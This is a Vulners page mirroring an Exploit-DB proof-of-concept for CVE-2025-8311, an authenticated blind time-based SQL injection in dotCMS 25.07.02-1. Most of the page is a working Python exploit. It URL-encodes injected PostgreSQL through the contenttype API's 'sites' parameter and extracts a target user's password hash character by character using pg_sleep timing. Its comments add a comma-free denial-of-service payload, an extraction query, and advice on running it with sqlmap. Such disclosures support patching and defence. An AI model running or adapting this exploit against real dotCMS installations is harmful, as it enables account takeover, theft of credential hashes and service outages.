Lucene search
K

dotCMS 25.07.02-1 - Authenticated Blind SQL Injection

🗓️ 16 Sep 2025 00:00:00Reported by Matan Sandori (OSCP, OSEP, OSWE)Type 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 81 Views

Authenticated blind time based database injection PoC for dotCMS 25.07.02-1.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2025-8311
4 Sep 202515:19
circl
CNNVD
DotCMS SQL注入漏洞
4 Sep 202500:00
cnnvd
CVE
CVE-2025-8311
4 Sep 202514:12
cve
Cvelist
CVE-2025-8311
4 Sep 202514:12
cvelist
EUVD
EUVD-2025-27276
3 Oct 202520:07
euvd
NVD
CVE-2025-8311
4 Sep 202515:15
nvd
Packet Storm
📄 dotCMS 25.07.02-1 SQL Injection
3 Nov 202500:00
packetstorm
Packet Storm
📄 dotCMS 25.07.02-1 SQL Injection
9 Dec 202500:00
packetstorm
Packet Storm
📄 dotCMS 25.07.02-1 Security Scanner
15 Dec 202500:00
packetstorm
Positive Technologies
PT-2025-35943
4 Sep 202500:00
ptsecurity
Rows per page
#!/usr/bin/env python3

# Exploit Title: dotCMS 25.07.02-1 - Authenticated Blind SQL Injection
# Google Dork: N/A
# Date: 2025-09-09
# Exploit Author: Matan Sandori (OSCP, OSEP, OSWE)
# Vendor Homepage:*https://www.dotcms.com/
# Software Link: https://github.com/dotCMS/core/releases/tag/v25.07.02-1 (tested on: v25.07.02-1)
# Version: Affects 24.03.22 and later (see vendor advisory for fixed versions)
# Tested on: dotCMS v25.07.02-1 (Docker / Linux)
# CVE: CVE-2025-8311


# The application blocks the comma character, so a simple DoS payload like:
# ') AND 1=(SELECT 1 FROM generate_series(1,500000) AS a CROSS JOIN generate_series(1,500000) AS b) AND ('FYHh' LIKE 'FYHh
# will not work.

# Instead, a comma-free payload can be used, for example:
# ') AND 1=(WITH RECURSIVE nums(i) AS (SELECT 1 UNION ALL SELECT i + 1 FROM nums WHERE i < 1000000) SELECT MIN(1) FROM nums AS a CROSS JOIN nums AS b) AND ('A' LIKE 'A

# Example query for time-based extraction of data:
# ') AND 1=(SELECT CASE WHEN (substring(emailaddress from 1 for 1)='a') THEN (SELECT 1 FROM pg_sleep(10) WHERE firstname='Admin') ELSE 1 END FROM user_ WHERE firstname='Admin') AND ('1' LIKE '1

# This PoC demonstrates time-based blind SQLi. Error-based SQLi is also possible and allows faster data extraction.
# Using sqlmap with the --no-cast flag is recommended, as it will not work otherwise.

import sys
import time
import string
import urllib3
import requests

### User configuration
HOST="127.0.0.1:8443";
TARGET_ACCOUNT = "[email protected]";
SLEEP_TIME=10;
TOKEN="eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhcGk0ZjFhNGYyMi1lYzI5LTQ4OTUtYTBlYi1jYjRkYjEzOGQ2MDAiLCJ4bW9kIjoxNzUxOTQzOTEwMDAwLCJuYmYiOjE3NTE5NDM5MTAsImlzcyI6ImRvdGNtc19kZXYiLCJsYWJlbCI6InRva2VuIiwiZXhwIjoxODQ2NjQxNjAxLCJpYXQiOjE3NTE5NDM5MTAsImp0aSI6IjMyNjIxYmRkLTNhYjEtNGRiMi1iNjEyLWMzMDg5M2EyODBiZSJ9.jqXkfM4Itxy_q2kA10srcL_3NBBx6keXx2PM0mESPFI";
CHARS = string.printable;

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning);

def encode_all_characters(string):
    return "".join("%{0:0>2x}".format(ord(char)) for char in string);

def send_request(payload=""):
    payload = encode_all_characters(payload);
    burp0_url = f"https://{HOST}/api/v1/contenttype?filter=LCKwsF&page=774232&per_page=517532&orderby=wDdAmr&direction=DESC&type=DOTASSET&host=BBadoI&sites=PoC{payload}";
    burp0_headers = {"Accept-Encoding": "gzip, deflate, br", "Accept": "*/*", "Accept-Language": "en-US;q=0.9,en;q=0.8", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36", "Connection": "close", "Cache-Control": "max-age=0", "Authorization": f"Bearer {TOKEN}"};
    return requests.get(burp0_url, headers=burp0_headers, verify=False);

def send_sqli(q):
    query = "') AND 1=(" + q + ") AND ('A' LIKE 'A";
    return send_request(query);

def test_sqli():
    print("[!] Checking target responsiveness...")
    r = send_request();

    if '{"entity":[],"errors":[],"i18nMessagesMap":{},"messages":[],"pagination":{"currentPage":' not in r.text:
        print("[-] Target did NOT return the expected JSON structure. Exiting.");
        sys.exit(1);
   
    print("[+] Target responded correctly.\n");

    r = send_sqli(f"SELECT 1 FROM PG_SLEEP({SLEEP_TIME})");

    if (not r.elapsed.total_seconds() >= SLEEP_TIME):
        print("[-] Target did not pause as expected; Exiting.");
        sys.exit(1);


def retrieve_password(TEMPLATE, CHARS):
    CHARS = ":" + CHARS.replace(":", '');
    output = "";
    index = 1;

    while True:
        for character in CHARS:
            query = str(TEMPLATE).replace("[_INDEX_PLACEHOLDER_]", str(index)).replace("[_ASCII_PLACEHOLDER_]", str(ord(character)));
       
            r = send_sqli(query);
       
            if (r.elapsed.total_seconds() >= SLEEP_TIME):
                print(f"[+] Found character: {character}");
                index += 1;
                output += character;
                break;
        else:
            break;

    return output;

test_sqli();

print("[+] Target is Vulnerable to SQL Injection.\n");

TEMPLATE = f"SELECT (CASE WHEN (substring(password_ from [_INDEX_PLACEHOLDER_] for 1)=chr([_ASCII_PLACEHOLDER_])) THEN (SELECT 1 FROM pg_sleep({SLEEP_TIME / 2}) WHERE emailaddress = '{TARGET_ACCOUNT}') ELSE 1 END) from user_ where emailaddress = '{TARGET_ACCOUNT}'";

password = retrieve_password(TEMPLATE, CHARS);

print(f"[+] Retrieved hash/password for {TARGET_ACCOUNT}: {password}");

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Sep 2025 00:00Current
7High risk
Vulners AI Score7
CVSS 49.4
EPSS0.01558
SSVC
81